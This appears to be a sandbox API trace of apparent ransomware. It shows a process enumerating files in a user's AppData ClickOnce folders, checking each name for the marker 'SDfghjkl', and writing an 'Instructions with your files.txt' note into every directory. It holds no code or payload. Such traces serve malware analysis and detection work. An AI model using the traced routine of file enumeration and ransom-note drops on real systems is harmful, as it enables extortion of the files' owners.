[0128.554] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.555] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\..") returned 145
[0128.561] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1
[0128.561] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 164
[0128.561] StrStrIW (lpFirst="GoogleUpdateSetup.exe", lpSrch="SDfghjkl") returned 0x0
[0128.563] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 0
[0128.568] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\Instructions with your files.txt") returned 175
[0128.569] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0128.663] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0128.664] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0128.664] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0128.664] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0128.664] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0128.664] CloseHandle (hObject=0x124) returned 1
[0128.665] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0128.665] GetProcessHeap () returned 0x810000
[0128.665] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8efc48 | out: hHeap=0x810000) returned 1
[0128.665] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
[0128.665] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned 137
[0128.665] GetProcessHeap () returned 0x810000
[0128.665] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8efc48
[0128.665] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*") returned 139
[0128.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.679] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\.") returned 139
[0128.679] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.679] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\..") returned 140
[0128.679] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a307ea0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe", cAlternateFileName="CLICKO~1.EXE")) returned 1
[0128.679] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe") returned 161
[0128.679] StrStrIW (lpFirst="clickonce_bootstrap.exe", lpSrch="SDfghjkl") returned 0x0
[0128.679] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.cdf-ms", cAlternateFileName="")) returned 1
[0128.679] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 168
[0128.679] StrStrIW (lpFirst="clickonce_bootstrap.exe.cdf-ms", lpSrch="SDfghjkl") returned 0x0
[0128.680] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.manifest", cAlternateFileName="")) returned 1
[0128.680] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 170
[0128.680] StrStrIW (lpFirst="clickonce_bootstrap.exe.manifest", lpSrch="SDfghjkl") returned 0x0
[0128.680] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.cdf-ms", cAlternateFileName="CLICKO~1.CDF")) returned 1
[0128.680] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 173
[0128.680] StrStrIW (lpFirst="clickonce_bootstrap_unsigned.cdf-ms", lpSrch="SDfghjkl") returned 0x0
[0128.680] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.manifest", cAlternateFileName="CLICKO~1.MAN")) returned 1
[0128.680] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 175
[0128.680] StrStrIW (lpFirst="clickonce_bootstrap_unsigned.manifest", lpSrch="SDfghjkl") returned 0x0
[0128.680] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="")) returned 1
[0128.680] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 159
[0128.680] StrStrIW (lpFirst="GoogleUpdateSetup.exe", lpSrch="SDfghjkl") returned 0x0
[0128.680] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="")) returned 0
[0128.680] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Instructions with your files.txt") returned 170
[0128.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0128.680] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0128.681] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0128.681] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0128.681] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0128.682] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0128.682] CloseHandle (hObject=0x124) returned 1
[0128.682] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0128.682] GetProcessHeap () returned 0x810000
[0128.682] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8efc48 | out: hHeap=0x810000) returned 1
[0128.682] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1
[0128.682] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests") returned 92
[0128.682] GetProcessHeap () returned 0x810000
[0128.682] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8efc48
[0128.682] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*") returned 94
[0128.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.684] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\.") returned 94
[0128.684] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.684] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\..") returned 95
[0128.684] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cAlternateFileName="CLICEX~1.CDF")) returned 1
[0128.684] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 159
[0128.684] StrStrIW (lpFirst="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", lpSrch="SDfghjkl") returned 0x0
[0128.684] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", cAlternateFileName="CLICEX~1.MAN")) returned 1
[0128.684] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 161
[0128.685] StrStrIW (lpFirst="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", lpSrch="SDfghjkl") returned 0x0
[0128.685] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x38b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", cAlternateFileName="GOOGAP~1.CDF")) returned 1
[0128.685] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 159
[0128.685] StrStrIW (lpFirst="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", lpSrch="SDfghjkl") returned 0x0
[0128.685] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2e30, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", cAlternateFileName="GOOGAP~1.MAN")) returned 1
[0128.685] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 161
[0128.685] StrStrIW (lpFirst="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", lpSrch="SDfghjkl") returned 0x0
[0128.685] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2e30, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", cAlternateFileName="GOOGAP~1.MAN")) returned 0
